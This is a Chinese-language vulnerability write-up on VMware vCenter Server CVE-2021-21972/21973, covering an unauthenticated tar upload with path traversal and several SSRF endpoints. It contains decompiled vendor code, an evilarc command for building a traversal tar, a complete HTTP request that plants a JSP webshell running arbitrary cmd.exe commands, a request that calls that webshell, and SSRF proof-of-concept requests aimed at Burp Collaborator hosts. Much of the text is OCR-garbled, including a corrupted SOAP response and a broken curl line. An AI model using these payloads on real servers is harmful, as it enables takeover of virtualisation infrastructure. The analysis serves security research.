# VMware vCenter Server RCE/SSRF[CVE-2021-21972/3]

# 漏洞详情

/ui/vropspluginui/rest/services/uploadova 这个接口存在未授权的 tar 文件上传功能,且可以路径穿越。不过这个路径穿越不是在上传请求的文件名处,而是在 tar 文件中的文件名。 在 Windows 平台攻击者可利用这个 endpoint 上传包含 webshell 的 tar 文件,或者在 Linux 平台上传公钥至 / home/vsphere-ui/.ssh/authorized\_keys 实现 RCE。

# 影响范围:

- VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) 对应到安装镜像的版本:
- vCenter Server 6.5 (7515524<[vulnerable]<17590285)
- vCenter Server 6.7 (<17138064) vCenter Server 7 (<17327517)

# 说明

翻译自: https://www.exploit-db.com/exploits/49602

- 1、Linux 平台利用方式最好是上传 SSH 公钥(如果开启 ssh 端口)
- 2、Linux 平台 upload 操作使用的用户是 vsphere-ui:users,
- 3、Windows 平台 upload 操作是 SYSTEM 用户权限
- 4、vCenter 6.5 <=7515524 不受此漏洞影响,因为没有 vropspluginui 这个组件(是说怎么用之前文件读取的镜像无法利用)
- 5、vCenter 6.7U2(Linux appliance b13010631) 及以上版本其 WEB 服务在内存中,所以需要持久化的利用方式(写入 webshell 需重启后使用或者 SSH 公钥写入)

# 环境搭建

使用 Windows Server 2016 搭载 VMware-VIM-all-6.7.0-14367737.iso

# 关键代码

#TODO 没仔细分析,调试环境没搭成功

漏洞代码: vropsplugin-

service.jar!\com\vmware\vropspluginui\mvc\ServicesController#uploadOvaFile

```
@RequestMapping(
                   value = {"/uploadova"},
                   method = {RequestMethod.POST}
380
          public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
381 🗞
                   logger.info( 0: "Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
                   PrintWriter wr = null;
                   try {
387
                       if (code != 200) {
                            response.sendError(code, "Arguments Missing");
                      wr = response.getWriter();
                  } catch (IOException var14) {
                      var14.printStackTrace();
                       logger.info( o: "upload Ova Controller Ended With Error");
                   response.setStatus(code);
                   String returnStatus = "SUCCESS";
                   if (!uploadFile.isEmpty()) {
401
                            logger.info( o: "Downloading OVA file has been started");
logger.info( o: "Size of the file received : " + uploadFile.getSize());
                            InputStream inputStream = uploadFile.getInputStream();
File dir = new File( pathname: "/tmp/unicorn_ova_dir");
                            if (!dir.exists()) {
                                dir.mkdirs();
408
                            } else {
                                                                                                                                                         $\infty$ shadowsock7
409
                                String[] entries = dir.list();
                                String[] var9 = entries;
                                int var10 = entries.length;
```

```
400
                if (!uploadFile.isEmpty()) {
                     try {
                         logger.info( o: "Downloading OVA file has been started");
                         logger.info( o: "Size of the file received : " + uploadFile.getSize());
                        InputStream inputStream = uploadFile.getInputStream();
                        File dir = new File (pathname: "/tmp/unicorn_ova_dir");
405
                        if (!dir.exists()) {
406
                            dir.mkdirs();
                        } else {
408
                            String[] entries = dir. ist();
409
                            String[] var9 = entries;
410
                             int var10 = entries.length;
412
                             for(int var11 = 0; var11 < var10 ++var11) {
413
                                 String entry = var9[var11];
414
                                 File currentFile = new File(dir._etPath(), entry);
415
                                 currentFile.delete();
416
417
418
419
                            logger.info( o: "Successfully cleaned : /tmp/licorn_ova_dir");
                        }
420
421
                        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
422
                        TarArchiveEntry entry = in.getNextTarEntry();
423
                        ArrayList result = new ArrayList();
424
425
                        while(entry != null) {
426
427
                            if (entry.isDirectory()) {
                                 entry = in.getNextTarEntry();
428
429
                                 File curfile = new File( parent: "/tmp/unicorn_ova_dir", entry.getName());
430
                                 File parent = curfile.getParentFile();
431
                                 if (!parent.exists()) {
432
                                     parent.mkdirs();
                                                                                           Shadowsock?
433
434
```

tar 生成方法使用这个工具: https://github.com/ptoomey3/evilarc/blob/master/evilarc.py


python3 D:\repos\Poc\evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfchart
s\tc-instance\webapps\statsreport' -o win -f exp\_by\_cqq.tar D:\repos\xxx\upload\test\_by\_
cqq111.jsp

## 生成之后:


名称	大小	压缩后大小	修改时间	模式	用户	组	链接
test_by_cqq111.jsp	736	1 024	2020-11-12 1	-rw-rw-rw-		Schadowsock7	

#### Demo

## 上传 webshell:



# 上传成功:



## 查看版本方法:


## 命令参数:

## http 请求:

```
|~$ curl -i -s -k -X $'POST'
                                                                                                                                                           -H $'Host: 10.
                                                                                                                                                                                                                                              -H $'Connection: close'
                                                                                                                                                                                                                                                                                                                                       --data-binary $'<env:Envelope xmlns:xsd:
  </RetrieveServiceContent>\x0a
                                                                                                                                           </env:Bodv>\x0a
                                                                                                                                                                                                           </env:Envelope>
                                                                                                                                                                                                                                                                             $'https://10.
                                                                                                                                                                                                                                                                                                                                                         sdk'
HTTP/1.1 200 OK
Date: Fri, 5 Mar 2021 07:02:15 GMT
Cache-Control: no-cache
Connection: close
   ontent-Type: text/xml; charset=utf-8
ontent-Length: 2213
  :?xml version="1.0" encoding="UTF-8"?>
:soapenv:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    soapenv:Body>
customizationSpecManager type="CustomizationSpecManager">Casknanager>cetelsJohnanager type="ExtensionIndinager
customizationSpecManager type="CustomizationSpecManager">CustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager>>UstomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager>>DiagMgr</ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager><ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager<ustomizationSpecManager</ustomizationS
    /soapenv:Body>
/soapenv:Envelope: :~$
```

#### poc

由于 / ui/vropspluginui/rest/services/uploadova 这个 endpoint 存在且仅支持 POST 请求,所以 GET 这个 endpoint 如果返回 405,则粗略证明漏洞存在。



#### exp

仅测试 windows 平台: 1、上传 webshell

```
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: 192.168.85.146
Connection: close
```

```
Content-Type: multipart/form-data; boundary=---test
Content-Length: 2408
-----test
Content-Disposition: form-data; name="uploadFile"; filename="test_by_cqq.ova"
Content-Type: text/plain
/../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsr
eport/test_by_cqq111.jsp../../../ProgramData/VMware/vCenterServer/data/perfcharts/
tc-instance/webapps/statsreport/test00006660000000000000000000134013753174237031127 0u
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<%
if (request.getParameter("cmd") != null) {
      out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
      Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"
));
      OutputStream os = p.getOutputStream();
      InputStream in = p.getInputStream();
      DataInputStream dis = new DataInputStream(in);
      String disr = dis.readLine();
      while ( disr != null ) {
             out.println(disr); disr = dis.readLine(); }
      }
%>
</BODY></HTML>
-----test--
```

# 2、访问 webshell

```
GET /statsreport/test_by_cqq111.jsp?cmd=ipconfig HTTP/1.1
Host: 192.168.85.146
Connection: close
```

#### SSRF

参考陈师傅的知识星球。


/ui/vropspluginui/rest/services/getvcdetails

直接访问这个,出现 500,说缺少一个 header:vcIP:

# 查看是哪个类在处理这个 endpoint:

```
:~/repos$ strings vropsplugin-service.jar|grep getvcdetails
:~/repos$ unzip -q vropsplugin-service.jar -d vropsplugin-service
:~/repos$ cd vropsplugin-service
:~/repos/vropsplugin-service$ grep -rn getvcdetails *
Binary file com/vmware/vropspluginui/helper/RestClientWrapper.clage shadowsock7
Binary file com/vmware/vropspluginui/mvc/ServicesController.class matches
```

## 加入必须的 header:



# 之前没碰到这个 jdk 的 http 客户端:

rt.jar!\com\sun\xml\internal\ws\transport\http\client\HttpTransportPipe.class

```
107 📑
            public Packet process(Packet request) {
108
                    Map<String, List<String>> reqHeaders = new Headers();
                    Map<String, List<String>> userHeaders = (Map)request.invocationProperties.get("javax.xml.ws.http.request.headers");
                    boolean addUserAgent = true;
                    if (userHeaders != null) {
                        reqHeaders.putAll(userHeaders);
                         if (userHeaders.get("User-Agent") != null) {
                            addUserAgent = false;
118
                    if (addUserAgent) {
                        reqHeaders.put("User-Agent", USER_AGENT);
                    this.addBasicAuth(request, reqHeaders);
124
                    this.addCookies(request, reqHeaders);
                    HttpClientTransport con = this.getTransport(request, reqHeaders);
                    request.addSatellite(new HttpResponseProperties(con));
                    ContentType ct = this.codec.getStaticContentType(request);
                    ByteArrayBuffer buf;
                    if (ct == null) {
                        buf = new ByteArrayBuffer();
                        ct = this.codec.encode(request, buf);
                        reqHeaders.put("Content-Length", Collections.singletonList(Integer.toString(buf.size())));
                        req Headers.put ("Content-Type", Collections.singletonList(ct.getContentType()));\\
                         if (ct.getAcceptHeader() != null) {
                             req Headers.put ("Accept", Collections.singletonList(ct.getAcceptHeader()));\\
                                                                                                         $\infty$ shadowsock7
138
                         if (this.binding instanceof SOAPBinding) {
                            this. \verb|writeSOAPAction| (reqHeaders, ct.getSOAPActionHeader()); \\
```

## 贴一个调用栈:

```
Response
Raw
     Headers | Hex | JSON Beautifier
1 {
    "stackTrace": "com.sun.xml.internal.ws.client.ClientTransportException: 服务器发送了
  HTTP 状ロ?ロ代ロ?200: 0K\r\n\tat
  com.sun.xml.internal.ws.transport.http.client.HttpTransportPipe.createResponsePacke
  t(HttpTransportPipe.java:266)\r\n\tat
  com.sun.xml.internal.ws.transport.http.client.HttpTransportPipe.process(HttpTranspo
  rtPipe.java:217)r\n\tat
  com.sun.xml.internal.ws.transport.http.client.HttpTransportPipe.processRequest(Http
 TransportPipe.java:130)\r\n\tat
  com.sun.xml.internal.ws.transport.DeferredTransportPipe.processRequest(DeferredTran
  sportPipe.java:124)\r\n\tat
  com.sun.xml.internal.ws.api.pipe.Fiber.__doRun(Fiber.java:1121)\r\n\tat
  com.sun.xml.internal.ws.api.pipe.Fiber._doRun(Fiber.java:1035)\r\n\tat
  com.sun.xml.internal.ws.api.pipe.Fiber.doRun(Fiber.java:1004)\r\n\tat
  com.sun.xml.internal.ws.api.pipe.Fiber.runSync(Fiber.java:862)\r\n\tat
  com.sun.xml.internal.ws.client.Stub.process(Stub.java:448)\r\n\tat
  com.sun.xml.internal.ws.client.sei.SEIStub.doProcess(SEIStub.java:178)\r\n\tat
  com.sun.xml.internal.ws.client.sei.SyncMethodHandler.invoke(SyncMethodHandler.java:
  93)\r\n\tat
  com.sun.xml.internal.ws.client.sei.SyncMethodHandler.invoke(SyncMethodHandler.java:
  77)\r\n\tat
  com.sun.xml.internal.ws.client.sei.SEIStub.invoke(SEIStub.java:147)\r\n\tat
  com.sun.proxy.$Proxy797.retrieveServiceContent(Unknown Source)\r\n\tat
  com.vmware.vropspluginui.helper.VcDetailsUtils.connectToVc(VcDetailsUtils.java:80)\
  r\n\tat
  com.vmware.vropspluginui.mvc.ServicesController.getvcdetails(ServicesController.jav
  a:211)\r\n\tat sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\r\n\tat
  sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:82) \r\f\t
  at
```


```
public ResponseEntity<String> getvcdetails(@RequestHeader(value = "vcIP",required = true) String vcIP, @RequestHeader(value = "vcUsername",required = true) String vcUsername, @RequestHeader(value
    logger.info( o: "Entering getvcdetails api");
logger.info( o: "getVCDetails Controller Begin");
         vcPassword = new String(Base64.getDecoder().decode(vcPassword), charsetName: "UTF-8");
    } catch (UnsupportedEncodingException var14) {
        logger.error( o: "Encoding not suported");
         return new ResponseEntity( body: "", HttpStatus.BAD_REQUEST);
    String vusername = URLDecoder.decode(vcUsername, enc: "UTF-8"); logger.info( o: "getvcdetails username: " + vusername);
    VcDetailsUtils.connectToVc(vcIP, vusername, vcPassword);
     responseHeaders.set("Content-Type", "application/json; charset=UTF-8");
    String returnResult = null;
        VcDetailsUtils.connectToVc(vcIP, vusername, vcPassv
         if (reqResource.equalsIgnoreCase(VimTypes.DATACENTER)) {
             logger.info( o: "[getvcdetails] - Requested Resourc
returnResult = VcDetailsUtils.getAllDatacenters();
         } else if (reqResource.equalsIgnoreCase(VimTypes.CLUSTER)) {
   logger.info( ○: "[getvcdetails] - Requested Resource is CLUSTER");
             returnResult = VcDetailsUtils.getClustersAndComputeResources(datacenterId);
          } else if (reqResource.equalsIgnoreCase(VimTypes.HOST)) {
             logger.info( o: "[getvcdetails] - Requested Resource is HOST");
              returnResult = VcDetailsUtils.getHostsFromCluster(datacenterId, clusterId);
         } else if (reqResource.equalsIgnoreCase(VimTypes.DATASTORE)) {
             if (reqResourceType.equalsIgnoreCase(VimTypes.HDST)) {
    logger.info( : "[getvcdetails] - Requested Resource is DATASTORE and requested by HDST");
                                                                                                                                                                                 $\text{$\colony}$ shadowsock7
                  returnResult = VcDetailsUtils.getDatastoreAndNetworkFromHost(datacenterId, clusterId, hostId);
             } else if (reqResourceType.equalsIgnoreCase(VimTypes.COMPUTE_RESOURCE)) {
    logger.info( o: "[getvcdetails] - Requested Resource is DATASTORE and requested by ComputeResource");
                   returnResult = VcDetailsUtils.getDatastoreAndNetworkFromComputeResource(datacenterId, hostId);
```


```
58
   (0)
           public static void connectToVc(String vcIp, String userName, String password) throws Exception {
               if (_isConnected) {
                   _logger.info( o: "[connectToVc] - Connnection already exists hence disconnecting");
                   disconnect();
62
64
               if (!_isConnected) {
                    _logger.info( o: "[connectToVc] - Connecting to VC : " + vcIp);
                   HostnameVerifier hv = verify(urlHostName, session) → { return true; };
                   TrustAllTrustManager.trustAllHttpsCertificates();
                   HttpsURLConnection.setDefaultHostnameVerifier(hv);
                   SVC_INST_REF.setType("ServiceInstance");
                   SVC_INST_REF.setValue("ServiceInstance");
74
                   Map<String, Object> ctxt = ((BindingProvider)_vimPort).getRequestContext();
                   ctxt.put("javax.xml.ws.service.endpoint.address", formVCServerUrl(vcIp));
                   ctxt.put("javax.xml.ws.session.maintain", true);
                   _serviceContent = _vimPort.retrieveServiceContent(SVC_INST_REF);
78
79
                   _vimPort.login(_serviceContent.getSessionManager(), userName, password, (String)null);
80
                    isConnected = true;
                   _logger.info( o: "[connectToVc] - Successfully connected to VC : " + vcIp);
81
82
                                                                                      Shadowsock7
83
84
           }
```

通过查看源码得知,还有两处 SSRF:

/testycconnection

/testvropsconnection





这次发现 UA 不一样了,因为使用的库不一样了,这次是: java.net.URL#openConnection

```
@RequestMapping(
287
               value = {"/testvropsconnection"}.
               method = {RequestMethod.GET}
289
290
           @ResponseBody
           public String testvropsconnection(@RequestHeader(value = "vropsIP",required = true) String vropsIP, @RequestHeader
291 🗞
               logger.info( o: "Entering testvropsconnection api");
               int responseCode;
               try {
                   logger.info( o: "ServicesController: testVropsConnection");
                   String userName = URLDecoder.decode(vropsUsername, enc: "UTF-8");
                   logger.debug( o: "decode userName:" + userName);
298
                   logger.info( o: " vropsIP: " + vropsIP + " vropsUsername: " + userName);
                   URL url = new URL( spec: "https://" + vropsIP + "/suite-api/api/versions/current/endpoints");
                   String authorizationString = userName + ":" + vropsPassword;
                   String encodedAuth = Base64.getEncoder().encodeToString(authorizationString.getBytes());
                   HttpURLConnection conn = (HttpURLConnection)url.openConnection();
                   conn.setConnectTimeout(10000);
                   conn.setRequestMethod("GET");
                   conn.setRequestProperty("Authorization", "Basic " + encodedAuth);
                   conn.setRequestProperty("Content-Type", "application/json");
                   conn.disconnect();
                   responseCode = conn.getResponseCode();
                   logger.info( o: "Response code: " + conn.getResponseCode());
               } catch (SocketTimeoutException var10) {
                   responseCode = 400;
314
                   var10.printStackTrace();
               } catch (ProtocolException var11) {
                   responseCode = 400;
                   var11.printStackTrace():
                                                                                           Shadowsock7
               } catch (MalformedURLException var12) {
                   responseCode = 400:
```

```
@RequestMapping(
244
               value = {"/testvcconnection"},
               method = {RequestMethod.GET}
           @ResponseBody
248 🗞
           public String testvcconnection(@RequestHeader(value = "vcIP",required = true) String vcIP, @RequestHeader(value = "vcUsernam
               logger.info( o: "Entering testvcconnection api");
               int responseCode;
               try {
                   logger.info( o: "ServicesController: testVCConnection");
254
                   String vcName = URLDecoder.decode(vcUsername, enc: "UTF-8");
                   logger.debug( o: "decode vcname:" + vcName);
                   logger.info( o: " vcIP: " + vcIP + " vcUserName: " + vcName);
                   URL url = new URL( spec: "https://" + vcIP + "/mob");
                   vcPassword = new String(Base64.getDecoder().decode(vcPassword), charsetName: "UTF-8");
                   String authorizationString = vcName + ":" + vcPassword;
                    String encodedAuth = Base64.getEncoder().encodeToString(authorizationString.getBytes());
                  HttpURLConnection conn = (HttpURLConnection)url.openConnection();
261
                    conn.setConnectTimeout(10000);
                   conn.setRequestMethod("GET");
                   conn.setRequestProperty("Authorization", "Basic " + encodedAuth);
                    conn.setRequestProperty("Content-Type", "application/json");
                   conn.disconnect();
                   responseCode = conn.getResponseCode();
268
                   logger.info( o: "Response code: " + conn.getResponseCode());
               } catch (SocketTimeoutException var10) {
                   responseCode = 400;
                    var10.printStackTrace();
               } catch (ProtocolException var11) {
                   responseCode = 400;
274
                   var11.printStackTrace();
                                                                                                        $\infty$ shadowsock7
               } catch (MalformedURLException var12) {
                   responseCode = 400;
                   var12.printStackTrace();
```

#### poc

```
GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
Host: 192.168.85.146
vcIP: 0tuaoleyw4tbcov9356ffq03yu4ks9.burpcollaborator.net
vcUsername: Y3Fx
vcPassword: Y3Fx
reqResource: test_endpoint
Connection: close

GET /ui/vropspluginui/rest/services/testvcconnection HTTP/1.1
Host: 192.168.85.146
vcIP: 9kux67skser8x968qgbfo9covf15pu.burpcollaborator.net
vcUsername: Y3Fx
vcPassword: Y3Fx
Connection: close

GET /ui/vropspluginui/rest/services/testvropsconnection HTTP/1.1
```

Host: 192.168.85.146

vropsIP: 01zony9b958ze0nz77s650tfc6ix6m.burpcollaborator.net

vropsUsername: Y3Fx
vropsPassword: Y3Fx
Connection: close

# 修复建议

升级到最新版 CVE-2021-21972、CVE-2021-21973 漏洞缓解措施操作步骤请参考官方文档: https://kb.vmware.com/s/article/82374

# 参考:

- https://www.cnblogs.com/potatsoSec/p/14444897.html
- http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/
- https://swarm.ptsecurity.com/unauth-rce-vmware/
- https://www.exploit-db.com/exploits/49602
- https://t.zsxq.com/ynUJmqN
- https://t.zsxq.com/alqVRjA